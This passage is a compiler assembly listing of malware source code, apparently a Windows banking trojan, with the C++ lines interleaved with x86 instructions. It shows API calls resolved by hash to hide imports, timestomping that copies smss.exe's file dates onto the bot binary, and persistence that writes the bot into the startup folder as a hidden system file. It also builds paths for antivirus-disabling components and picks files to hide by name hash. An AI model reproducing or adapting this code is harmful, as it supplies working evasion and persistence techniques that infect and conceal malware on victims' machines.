$LN1@GetShellFo:
; 49   : 	{
; 50   : 		return NULL;
; 51   : 	}
; 52   : 
; 53   : 	pSHGetSpecialFolderPathW((HWND)NULL, UserPath, dwTemp, true);
  0002a	6a 01		 push	 1
  0002c	57		 push	 edi
  0002d	56		 push	 esi
  0002e	6a 00		 push	 0
  00030	e8 00 00 00 00	 call	 ??$pushargEx@$06$0MJFNIFEG@$0BMB@PAUHWND__@@PA_WH_N@@YAPAXPAUHWND__@@PA_WH_N@Z ; pushargEx<7,3378349382,449,HWND__ *,wchar_t *,int,bool>
  00035	83 c4 10	 add	 esp, 16			; 00000010H
; 54   : 
; 55   : 	return UserPath;
  00038	8b c6		 mov	 eax, esi
$LN5@GetShellFo:
  0003a	5f		 pop	 edi
  0003b	5e		 pop	 esi
; 56   : }
  0003c	c3		 ret	 0
?GetShellFoldersKey@@YAPA_WK@Z ENDP			; GetShellFoldersKey
_TEXT	ENDS
PUBLIC	?SetFakeFileDateTime@@YAXPAD@Z			; SetFakeFileDateTime
EXTRN	?MemFree@@YAXPAX@Z:PROC				; MemFree
; Function compile flags: /Ogspy
;	COMDAT ?SetFakeFileDateTime@@YAXPAD@Z
_TEXT	SEGMENT
_smss$ = -48						; size = 20
_fl1$ = -28						; size = 8
_fl2$ = -20						; size = 8
_fl3$ = -12						; size = 8
_hFile$ = -4						; size = 4
_Path$ = 8						; size = 4
?SetFakeFileDateTime@@YAXPAD@Z PROC			; SetFakeFileDateTime, COMDAT
; 61   : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 30	 sub	 esp, 48			; 00000030H
  00006	53		 push	 ebx
  00007	57		 push	 edi
; 62   : 	WCHAR smss[] = {'\\','s','m','s','s','.','e','x','e',0};
  00008	6a 5c		 push	 92			; 0000005cH
  0000a	58		 pop	 eax
  0000b	6a 73		 push	 115			; 00000073H
  0000d	66 89 45 d0	 mov	 WORD PTR _smss$[ebp], ax
  00011	58		 pop	 eax
  00012	6a 6d		 push	 109			; 0000006dH
  00014	66 89 45 d2	 mov	 WORD PTR _smss$[ebp+2], ax
  00018	58		 pop	 eax
  00019	6a 73		 push	 115			; 00000073H
  0001b	66 89 45 d4	 mov	 WORD PTR _smss$[ebp+4], ax
  0001f	58		 pop	 eax
  00020	6a 2e		 push	 46			; 0000002eH
  00022	66 89 45 d6	 mov	 WORD PTR _smss$[ebp+6], ax
  00026	66 89 45 d8	 mov	 WORD PTR _smss$[ebp+8], ax
  0002a	58		 pop	 eax
  0002b	6a 65		 push	 101			; 00000065H
  0002d	66 89 45 da	 mov	 WORD PTR _smss$[ebp+10], ax
  00031	58		 pop	 eax
  00032	6a 78		 push	 120			; 00000078H
  00034	66 89 45 dc	 mov	 WORD PTR _smss$[ebp+12], ax
  00038	58		 pop	 eax
  00039	66 89 45 de	 mov	 WORD PTR _smss$[ebp+14], ax
  0003d	6a 65		 push	 101			; 00000065H
  0003f	58		 pop	 eax
  00040	66 89 45 e0	 mov	 WORD PTR _smss$[ebp+16], ax
  00044	33 c0		 xor	 eax, eax
; 63   : 
; 64   : 	// 
; 65   : 	WCHAR *SysPath = (WCHAR *)MemAlloc( 512 * sizeof(WCHAR) );
  00046	68 00 04 00 00	 push	 1024			; 00000400H
  0004b	66 89 45 e2	 mov	 WORD PTR _smss$[ebp+18], ax
  0004f	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00054	8b d8		 mov	 ebx, eax
; 66   : 
; 67   : 	if (SysPath == NULL)
  00056	33 ff		 xor	 edi, edi
  00058	59		 pop	 ecx
  00059	3b df		 cmp	 ebx, edi
  0005b	0f 84 ae 00 00
	00		 je	 $LN4@SetFakeFil
  00061	56		 push	 esi
; 68   : 		return;
; 69   : 
; 70   : 	pGetSystemDirectoryW(SysPath, 512);
  00062	68 00 02 00 00	 push	 512			; 00000200H
  00067	53		 push	 ebx
  00068	e8 00 00 00 00	 call	 ??$pushargEx@$00$0EJKBDHFM@$0DF@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1235302236,53,wchar_t *,int>
; 71   : 	plstrcatW( SysPath, smss );
  0006d	8d 45 d0	 lea	 eax, DWORD PTR _smss$[ebp]
  00070	50		 push	 eax
  00071	53		 push	 ebx
  00072	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; 72   : 
; 73   : 	HANDLE hFile = pCreateFileW( SysPath,  GENERIC_READ,  FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
  00077	6a 15		 push	 21			; 00000015H
  00079	68 02 f1 f8 08	 push	 150532354		; 08f8f102H
  0007e	6a 01		 push	 1
  00080	57		 push	 edi
  00081	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00086	83 c4 20	 add	 esp, 32			; 00000020H
  00089	57		 push	 edi
  0008a	be 80 00 00 00	 mov	 esi, 128		; 00000080H
  0008f	56		 push	 esi
  00090	6a 03		 push	 3
  00092	57		 push	 edi
  00093	6a 01		 push	 1
  00095	68 00 00 00 80	 push	 -2147483648		; 80000000H
  0009a	53		 push	 ebx
  0009b	ff d0		 call	 eax
; 74   : 
; 75   : 	MemFree( SysPath );
  0009d	53		 push	 ebx
  0009e	89 45 fc	 mov	 DWORD PTR _hFile$[ebp], eax
  000a1	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 76   : 	
; 77   : 	if ( hFile == INVALID_HANDLE_VALUE )
  000a6	83 7d fc ff	 cmp	 DWORD PTR _hFile$[ebp], -1
  000aa	59		 pop	 ecx
  000ab	74 61		 je	 SHORT $LN10@SetFakeFil
; 78   : 	{
; 79   : 		return;
; 80   : 	}
; 81   : 
; 82   : 	FILETIME fl1;
; 83   : 	FILETIME fl2;
; 84   : 	FILETIME fl3;
; 85   : 
; 86   : 	pGetFileTime( hFile, &fl1, &fl2, &fl3 );
  000ad	8d 45 f4	 lea	 eax, DWORD PTR _fl3$[ebp]
  000b0	50		 push	 eax
  000b1	8d 45 ec	 lea	 eax, DWORD PTR _fl2$[ebp]
  000b4	50		 push	 eax
  000b5	8d 45 e4	 lea	 eax, DWORD PTR _fl1$[ebp]
  000b8	50		 push	 eax
  000b9	ff 75 fc	 push	 DWORD PTR _hFile$[ebp]
  000bc	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KOBHMAHB@$0CJ@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ; pushargEx<1,2920792177,41,void *,_FILETIME *,_FILETIME *,_FILETIME *>
; 87   : 	pCloseHandle( hFile );
  000c1	ff 75 fc	 push	 DWORD PTR _hFile$[ebp]
  000c4	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
; 88   : 
; 89   : 	// 
; 90   : 	hFile = pCreateFileA(Path,  GENERIC_WRITE,  FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
  000c9	6a 14		 push	 20			; 00000014H
  000cb	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  000d0	6a 01		 push	 1
  000d2	57		 push	 edi
  000d3	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  000d8	83 c4 24	 add	 esp, 36			; 00000024H
  000db	57		 push	 edi
  000dc	56		 push	 esi
  000dd	6a 03		 push	 3
  000df	57		 push	 edi
  000e0	6a 02		 push	 2
  000e2	68 00 00 00 40	 push	 1073741824		; 40000000H
  000e7	ff 75 08	 push	 DWORD PTR _Path$[ebp]
  000ea	ff d0		 call	 eax
  000ec	8b f0		 mov	 esi, eax
; 91   : 
; 92   : 	if ( hFile == INVALID_HANDLE_VALUE )
  000ee	83 fe ff	 cmp	 esi, -1
  000f1	74 1b		 je	 SHORT $LN10@SetFakeFil
; 93   : 	{
; 94   : 		return;
; 95   : 	}
; 96   : 
; 97   : 	pSetFileTime( hFile, &fl1, &fl2, &fl3 );
  000f3	8d 45 f4	 lea	 eax, DWORD PTR _fl3$[ebp]
  000f6	50		 push	 eax
  000f7	8d 45 ec	 lea	 eax, DWORD PTR _fl2$[ebp]
  000fa	50		 push	 eax
  000fb	8d 45 e4	 lea	 eax, DWORD PTR _fl1$[ebp]
  000fe	50		 push	 eax
  000ff	56		 push	 esi
  00100	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KOBHMFHB@$0CK@PAXPAU_FILETIME@@PAU1@PAU1@@@YAPAXPAXPAU_FILETIME@@11@Z ; pushargEx<1,2920793457,42,void *,_FILETIME *,_FILETIME *,_FILETIME *>
; 98   : 	pCloseHandle( hFile );
  00105	56		 push	 esi
  00106	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  0010b	83 c4 14	 add	 esp, 20			; 00000014H
$LN10@SetFakeFil:
  0010e	5e		 pop	 esi
$LN4@SetFakeFil:
  0010f	5f		 pop	 edi
  00110	5b		 pop	 ebx
; 99   : 
; 100  : 	return;
; 101  : }
  00111	c9		 leave
  00112	c3		 ret	 0
?SetFakeFileDateTime@@YAXPAD@Z ENDP			; SetFakeFileDateTime
_TEXT	ENDS
PUBLIC	?SetFakeFileDateTimeW@@YAXPA_W@Z		; SetFakeFileDateTimeW
EXTRN	?Free@STR@@YAXPAD@Z:PROC			; STR::Free
EXTRN	?ToAnsi@WSTR@@YAPADPB_WK@Z:PROC			; WSTR::ToAnsi
; Function compile flags: /Ogspy
;	COMDAT ?SetFakeFileDateTimeW@@YAXPA_W@Z
_TEXT	SEGMENT
_Path$ = 8						; size = 4
?SetFakeFileDateTimeW@@YAXPA_W@Z PROC			; SetFakeFileDateTimeW, COMDAT
; 104  : {
  00000	56		 push	 esi
; 105  : 	PCHAR FileName = WSTR::ToAnsi(Path, 0);
  00001	6a 00		 push	 0
  00003	ff 74 24 0c	 push	 DWORD PTR _Path$[esp+4]
  00007	e8 00 00 00 00	 call	 ?ToAnsi@WSTR@@YAPADPB_WK@Z ; WSTR::ToAnsi
  0000c	8b f0		 mov	 esi, eax
; 106  :     SetFakeFileDateTime(FileName);
  0000e	56		 push	 esi
  0000f	e8 00 00 00 00	 call	 ?SetFakeFileDateTime@@YAXPAD@Z ; SetFakeFileDateTime
; 107  : 	STR::Free(FileName);
  00014	56		 push	 esi
  00015	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0001a	83 c4 10	 add	 esp, 16			; 00000010H
  0001d	5e		 pop	 esi
; 108  : }
  0001e	c3		 ret	 0
?SetFakeFileDateTimeW@@YAXPA_W@Z ENDP			; SetFakeFileDateTimeW
_TEXT	ENDS
PUBLIC	?AddToAutoRun@@YAXPA_W@Z			; AddToAutoRun
; Function compile flags: /Ogspy
;	COMDAT ?AddToAutoRun@@YAXPA_W@Z
_TEXT	SEGMENT
_TempFileName$ = 8					; size = 4
?AddToAutoRun@@YAXPA_W@Z PROC				; AddToAutoRun, COMDAT
; 112  : {	
  00000	57		 push	 edi
; 113  : 	if ( pGetFileAttributesW( TempFileName ) != 0 )
  00001	8b 7c 24 08	 mov	 edi, DWORD PTR _TempFileName$[esp]
  00005	57		 push	 edi
  00006	e8 00 00 00 00	 call	 ??$pushargEx@$00$0EHFFIHKB@$0FF@PA_W@@YAPAXPA_W@Z ; pushargEx<1,1196787617,85,wchar_t *>
  0000b	59		 pop	 ecx
  0000c	85 c0		 test	 eax, eax
  0000e	74 4c		 je	 SHORT $LN2@AddToAutoR
  00010	56		 push	 esi
; 114  : 	{
; 115  : 		WCHAR *BotPath = GetShellFoldersKey( 1 );
  00011	6a 01		 push	 1
  00013	e8 00 00 00 00	 call	 ?GetShellFoldersKey@@YAPA_WK@Z ; GetShellFoldersKey
  00018	8b f0		 mov	 esi, eax
  0001a	59		 pop	 ecx
; 116  : 		if ( BotPath == NULL )
  0001b	85 f6		 test	 esi, esi
  0001d	74 3c		 je	 SHORT $LN5@AddToAutoR
; 117  : 		{
; 118  : 			return;
; 119  : 		}
; 120  : 
; 121  : 		plstrcatW( BotPath, BOT_FILE_NAME );
  0001f	68 00 00 00 00	 push	 OFFSET ?BOT_FILE_NAME@@3PA_WA ; BOT_FILE_NAME
  00024	56		 push	 esi
  00025	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; 122  : 
; 123  : 		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL );
  0002a	68 80 00 00 00	 push	 128			; 00000080H
  0002f	56		 push	 esi
  00030	e8 00 00 00 00	 call	 ??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1297450913,59,wchar_t *,int>
; 124  : 
; 125  : 		pCopyFileW( TempFileName, BotPath, FALSE );
  00035	6a 00		 push	 0
  00037	56		 push	 esi
  00038	57		 push	 edi
  00039	e8 00 00 00 00	 call	 ??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z ; pushargEx<1,786755867,30,wchar_t *,wchar_t *,int>
; 126  : 
; 127  : 		SetFakeFileDateTimeW( BotPath );
  0003e	56		 push	 esi
  0003f	e8 00 00 00 00	 call	 ?SetFakeFileDateTimeW@@YAXPA_W@Z ; SetFakeFileDateTimeW
; 128  : 
; 129  : 		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
  00044	6a 05		 push	 5
  00046	56		 push	 esi
  00047	e8 00 00 00 00	 call	 ??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1297450913,59,wchar_t *,int>
; 130  : 	
; 131  : 		pDeleteFileW( TempFileName );
  0004c	57		 push	 edi
  0004d	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPAMJ@$0CE@PA_W@@YAPAXPA_W@Z ; pushargEx<1,2180051145,36,wchar_t *>
; 132  : 
; 133  : 		MemFree( BotPath );
  00052	56		 push	 esi
  00053	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00058	83 c4 30	 add	 esp, 48			; 00000030H
$LN5@AddToAutoR:
  0005b	5e		 pop	 esi
$LN2@AddToAutoR:
  0005c	5f		 pop	 edi
; 134  : 	}
; 135  : 
; 136  : 	return;
; 137  : }
  0005d	c3		 ret	 0
?AddToAutoRun@@YAXPA_W@Z ENDP				; AddToAutoRun
_TEXT	ENDS
PUBLIC	?AddToAutoRun@@YAXPAXK@Z			; AddToAutoRun
; Function compile flags: /Ogspy
;	COMDAT ?AddToAutoRun@@YAXPAXK@Z
_TEXT	SEGMENT
_written$ = -4						; size = 4
_body$ = 8						; size = 4
_size$ = 12						; size = 4
?AddToAutoRun@@YAXPAXK@Z PROC				; AddToAutoRun, COMDAT
; 140  : {	
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	56		 push	 esi
  00005	57		 push	 edi
; 141  : 	WCHAR *BotPath = GetShellFoldersKey( 1 );
  00006	6a 01		 push	 1
  00008	e8 00 00 00 00	 call	 ?GetShellFoldersKey@@YAPA_WK@Z ; GetShellFoldersKey
  0000d	8b f8		 mov	 edi, eax
; 142  : 	if ( BotPath == NULL )
  0000f	33 f6		 xor	 esi, esi
  00011	59		 pop	 ecx
  00012	3b fe		 cmp	 edi, esi
  00014	74 7c		 je	 SHORT $LN4@AddToAutoR@2
  00016	53		 push	 ebx
; 143  : 	{
; 144  : 		return;
; 145  : 	}
; 146  : 
; 147  : 	plstrcatW( BotPath, BOT_FILE_NAME );
  00017	68 00 00 00 00	 push	 OFFSET ?BOT_FILE_NAME@@3PA_WA ; BOT_FILE_NAME
  0001c	57		 push	 edi
  0001d	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; 148  : 	pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL );
  00022	68 80 00 00 00	 push	 128			; 00000080H
  00027	57		 push	 edi
  00028	e8 00 00 00 00	 call	 ??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1297450913,59,wchar_t *,int>
; 149  : 
; 150  : 	HANDLE f = pCreateFileW(BotPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  0002d	6a 15		 push	 21			; 00000015H
  0002f	68 02 f1 f8 08	 push	 150532354		; 08f8f102H
  00034	6a 01		 push	 1
  00036	56		 push	 esi
  00037	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  0003c	83 c4 20	 add	 esp, 32			; 00000020H
  0003f	56		 push	 esi
  00040	56		 push	 esi
  00041	6a 02		 push	 2
  00043	56		 push	 esi
  00044	56		 push	 esi
  00045	68 00 00 00 40	 push	 1073741824		; 40000000H
  0004a	57		 push	 edi
  0004b	ff d0		 call	 eax
  0004d	8b d8		 mov	 ebx, eax
; 151  : 	DWORD  written = 0;
  0004f	89 75 fc	 mov	 DWORD PTR _written$[ebp], esi
; 152  : 	if (f != INVALID_HANDLE_VALUE)
  00052	83 fb ff	 cmp	 ebx, -1
  00055	74 1a		 je	 SHORT $LN8@AddToAutoR@2
; 153  : 	{
; 154  : 		pWriteFile(f, body, size, &written, NULL);
  00057	56		 push	 esi
  00058	8d 45 fc	 lea	 eax, DWORD PTR _written$[ebp]
  0005b	50		 push	 eax
  0005c	ff 75 0c	 push	 DWORD PTR _size$[ebp]
  0005f	ff 75 08	 push	 DWORD PTR _body$[ebp]
  00062	53		 push	 ebx
  00063	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAXKPAKH@@YAPAXPAX0KPAKH@Z ; pushargEx<1,255840707,22,void *,void *,unsigned long,unsigned long *,int>
; 155  : 		pCloseHandle(f);
  00068	53		 push	 ebx
  00069	e8 00 00 00 00	 call	 ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *>
  0006e	83 c4 18	 add	 esp, 24			; 00000018H
$LN8@AddToAutoR@2:
; 156  : 	}
; 157  : 
; 158  : 	if (written == size)
  00071	8b 45 0c	 mov	 eax, DWORD PTR _size$[ebp]
  00074	5b		 pop	 ebx
  00075	39 45 fc	 cmp	 DWORD PTR _written$[ebp], eax
  00078	75 11		 jne	 SHORT $LN1@AddToAutoR@2
; 159  : 	{
; 160  : 		SetFakeFileDateTimeW( BotPath );
  0007a	57		 push	 edi
  0007b	e8 00 00 00 00	 call	 ?SetFakeFileDateTimeW@@YAXPA_W@Z ; SetFakeFileDateTimeW
; 161  : 		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
  00080	6a 05		 push	 5
  00082	57		 push	 edi
  00083	e8 00 00 00 00	 call	 ??$pushargEx@$00$0ENFFIHKB@$0DL@PA_WH@@YAPAXPA_WH@Z ; pushargEx<1,1297450913,59,wchar_t *,int>
  00088	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@AddToAutoR@2:
; 162  : 	}
; 163  : 
; 164  : 	MemFree( BotPath );
  0008b	57		 push	 edi
  0008c	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00091	59		 pop	 ecx
$LN4@AddToAutoR@2:
  00092	5f		 pop	 edi
  00093	5e		 pop	 esi
; 165  : }
  00094	c9		 leave
  00095	c3		 ret	 0
?AddToAutoRun@@YAXPAXK@Z ENDP				; AddToAutoRun
_TEXT	ENDS
PUBLIC	?GetMiniAVPath@@YAPA_WXZ			; GetMiniAVPath
; Function compile flags: /Ogspy
;	COMDAT ?GetMiniAVPath@@YAPA_WXZ
_TEXT	SEGMENT
?GetMiniAVPath@@YAPA_WXZ PROC				; GetMiniAVPath, COMDAT
; 175  :     PWCHAR Ret = MiniAVPath;
; 176  : 
; 177  : 	if (*Ret == 0)
  00000	66 83 3d 00 00
	00 00 00	 cmp	 WORD PTR ?MiniAVPath@@3PA_WA, 0
  00008	56		 push	 esi
  00009	be 00 00 00 00	 mov	 esi, OFFSET ?MiniAVPath@@3PA_WA ; MiniAVPath
  0000e	75 2b		 jne	 SHORT $LN1@GetMiniAVP
  00010	57		 push	 edi
; 178  : 	{
; 179  : 		WCHAR *AppPath = GetShellFoldersKey( 2 );
  00011	6a 02		 push	 2
  00013	e8 00 00 00 00	 call	 ?GetShellFoldersKey@@YAPA_WK@Z ; GetShellFoldersKey
  00018	8b f8		 mov	 edi, eax
  0001a	59		 pop	 ecx
; 180  : 
; 181  : 		if ( AppPath  )
  0001b	85 ff		 test	 edi, edi
  0001d	74 1b		 je	 SHORT $LN5@GetMiniAVP
; 182  : 		{
; 183  : 			plstrcpyW( MiniAVPath, AppPath		   );
  0001f	57		 push	 edi
  00020	56		 push	 esi
  00021	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>
; 184  : 			plstrcatW( MiniAVPath, BOT_MINIAV_NAME );
  00026	68 00 00 00 00	 push	 OFFSET ?BOT_MINIAV_NAME@@3PA_WA ; BOT_MINIAV_NAME
  0002b	56		 push	 esi
  0002c	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; 185  : 
; 186  : 
; 187  : 
; 188  : 			MemFree( AppPath );
  00031	57		 push	 edi
  00032	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00037	83 c4 14	 add	 esp, 20			; 00000014H
$LN5@GetMiniAVP:
  0003a	5f		 pop	 edi
$LN1@GetMiniAVP:
; 189  : 		}
; 190  : 	}
; 191  : 
; 192  : 	return Ret;
  0003b	8b c6		 mov	 eax, esi
  0003d	5e		 pop	 esi
; 193  : }
  0003e	c3		 ret	 0
?GetMiniAVPath@@YAPA_WXZ ENDP				; GetMiniAVPath
_TEXT	ENDS
PUBLIC	?GetStopAVPath@@YAPA_WXZ			; GetStopAVPath
; Function compile flags: /Ogspy
;	COMDAT ?GetStopAVPath@@YAPA_WXZ
_TEXT	SEGMENT
?GetStopAVPath@@YAPA_WXZ PROC				; GetStopAVPath, COMDAT
; 199  : 
; 200  : 	PWCHAR Ret = StopAVPath;
; 201  : 	if (*Ret == 0)
  00000	66 83 3d 00 00
	00 00 00	 cmp	 WORD PTR ?StopAVPath@@3PA_WA, 0
  00008	56		 push	 esi
  00009	be 00 00 00 00	 mov	 esi, OFFSET ?StopAVPath@@3PA_WA ; StopAVPath
  0000e	75 2b		 jne	 SHORT $LN1@GetStopAVP
  00010	57		 push	 edi
; 202  : 	{
; 203  : 		WCHAR *AppPath = GetShellFoldersKey( 2 );
  00011	6a 02		 push	 2
  00013	e8 00 00 00 00	 call	 ?GetShellFoldersKey@@YAPA_WK@Z ; GetShellFoldersKey
  00018	8b f8		 mov	 edi, eax
  0001a	59		 pop	 ecx
; 204  : 
; 205  : 		WCHAR *Ret = NULL;
; 206  : 
; 207  : 		if (AppPath)
  0001b	85 ff		 test	 edi, edi
  0001d	74 1b		 je	 SHORT $LN5@GetStopAVP
; 208  : 		{
; 209  : 			plstrcpyW( StopAVPath, AppPath		   );
  0001f	57		 push	 edi
  00020	56		 push	 esi
  00021	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>
; 210  : 			plstrcatW( StopAVPath, BOT_STOPAV_NAME );
  00026	68 00 00 00 00	 push	 OFFSET ?BOT_STOPAV_NAME@@3PA_WA ; BOT_STOPAV_NAME
  0002b	56		 push	 esi
  0002c	e8 00 00 00 00	 call	 ??$pushargEx@$00$0CMKBLFPA@$0HP@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,748795376,127,wchar_t *,wchar_t *>
; 211  : 
; 212  : 			MemFree( AppPath );
  00031	57		 push	 edi
  00032	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00037	83 c4 14	 add	 esp, 20			; 00000014H
$LN5@GetStopAVP:
  0003a	5f		 pop	 edi
$LN1@GetStopAVP:
; 213  : 		}
; 214  : 	}
; 215  : 
; 216  : 	return Ret;
  0003b	8b c6		 mov	 eax, esi
  0003d	5e		 pop	 esi
; 217  : }
  0003e	c3		 ret	 0
?GetStopAVPath@@YAPA_WXZ ENDP				; GetStopAVPath
_TEXT	ENDS
PUBLIC	?GetTempName@@YAPA_WXZ				; GetTempName
; Function compile flags: /Ogspy
;	COMDAT ?GetTempName@@YAPA_WXZ
_TEXT	SEGMENT
?GetTempName@@YAPA_WXZ PROC				; GetTempName, COMDAT
; 222  : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	57		 push	 edi
; 223  : 	WCHAR *TempPath = (WCHAR*)MemAlloc( 512 );
  00003	be 00 02 00 00	 mov	 esi, 512		; 00000200H
  00008	56		 push	 esi
  00009	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
; 224  : 	WCHAR *FileName = (WCHAR*)MemAlloc( 512 );
  0000e	56		 push	 esi
  0000f	8b f8		 mov	 edi, eax
  00011	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00016	59		 pop	 ecx
  00017	59		 pop	 ecx
  00018	8b d8		 mov	 ebx, eax
; 225  : 
; 226  : 	if ( !TempPath || !FileName )
  0001a	85 ff		 test	 edi, edi
  0001c	74 26		 je	 SHORT $LN1@GetTempNam
  0001e	85 db		 test	 ebx, ebx
  00020	74 22		 je	 SHORT $LN1@GetTempNam
; 229  : 	}
; 230  : 
; 231  : 	pGetTempPathW( 512, TempPath );
  00022	57		 push	 edi
  00023	56		 push	 esi
  00024	e8 00 00 00 00	 call	 ??$pushargEx@$00$0FIPOHKKI@$0DH@HPA_W@@YAPAXHPA_W@Z ; pushargEx<1,1493072552,55,int,wchar_t *>
; 232  : 	pGetTempFileNameW( TempPath, L"", 0, FileName );
  00029	53		 push	 ebx
  0002a	6a 00		 push	 0
  0002c	68 00 00 00 00	 push	 OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
  00031	57		 push	 edi
  00032	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PKEPFBE@$0GH@PA_WPB_WHPA_W@@YAPAXPA_WPB_WH0@Z ; pushargEx<1,262468884,103,wchar_t *,wchar_t const *,int,wchar_t *>
; 233  : 
; 234  : 	MemFree( TempPath );
  00037	57		 push	 edi
  00038	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0003d	83 c4 1c	 add	 esp, 28			; 0000001cH
; 235  : 
; 236  : 	return FileName;
  00040	8b c3		 mov	 eax, ebx
  00042	eb 02		 jmp	 SHORT $LN3@GetTempNam
$LN1@GetTempNam:
; 227  : 	{
; 228  : 		return NULL;
  00044	33 c0		 xor	 eax, eax
$LN3@GetTempNam:
  00046	5f		 pop	 edi
  00047	5e		 pop	 esi
  00048	5b		 pop	 ebx
; 237  : }
  00049	c3		 ret	 0
?GetTempName@@YAPA_WXZ ENDP				; GetTempName
_TEXT	ENDS
PUBLIC	?IsHideFile@@YAHPA_WKH@Z			; IsHideFile
EXTRN	?IsHiddenFile@BOT@@YA_NK@Z:PROC			; BOT::IsHiddenFile
; Function compile flags: /Ogspy
;	COMDAT ?IsHideFile@@YAHPA_WKH@Z
_TEXT	SEGMENT
_FileName$ = 8						; size = 4
_FileNameLen$ = 12					; size = 4
_ControlPoint$ = 16					; size = 4
?IsHideFile@@YAHPA_WKH@Z PROC				; IsHideFile, COMDAT
; 243  : 	//  
; 244  : 	//  
; 245  : 	//
; 246  : 	// ControlPoint - 
; 247  : 
; 248  : 	int Len = FileNameLen / sizeof(WCHAR); // 
; 249  : 
; 250  : 	if (FileName == NULL || FileNameLen == 0)
  00000	83 7c 24 04 00	 cmp	 DWORD PTR _FileName$[esp-4], 0
  00005	74 23		 je	 SHORT $LN1@IsHideFile
  00007	8b 44 24 08	 mov	 eax, DWORD PTR _FileNameLen$[esp-4]
  0000b	85 c0		 test	 eax, eax
  0000d	74 1b		 je	 SHORT $LN1@IsHideFile
; 252  : 
; 253  : 	// 
; 254  : 	DWORD Hash = STRW::Hash(FileName, Len, false);
  0000f	6a 00		 push	 0
  00011	d1 e8		 shr	 eax, 1
  00013	50		 push	 eax
  00014	ff 74 24 0c	 push	 DWORD PTR _FileName$[esp+4]
  00018	e8 00 00 00 00	 call	 ?Hash@?$STRUTILS@_W@@SAKPB_WK_N@Z ; STRUTILS<wchar_t>::Hash
; 255  : 
; 256  : 	// 
; 257  : 	BOOL Hide = BOT::IsHiddenFile(Hash);
  0001d	50		 push	 eax
  0001e	e8 00 00 00 00	 call	 ?IsHiddenFile@BOT@@YA_NK@Z ; BOT::IsHiddenFile
  00023	83 c4 10	 add	 esp, 16			; 00000010H
; 258  : 
; 259  : 	return Hide;
  00026	0f b6 c0	 movzx	 eax, al
; 260  : }
  00029	c3		 ret	 0
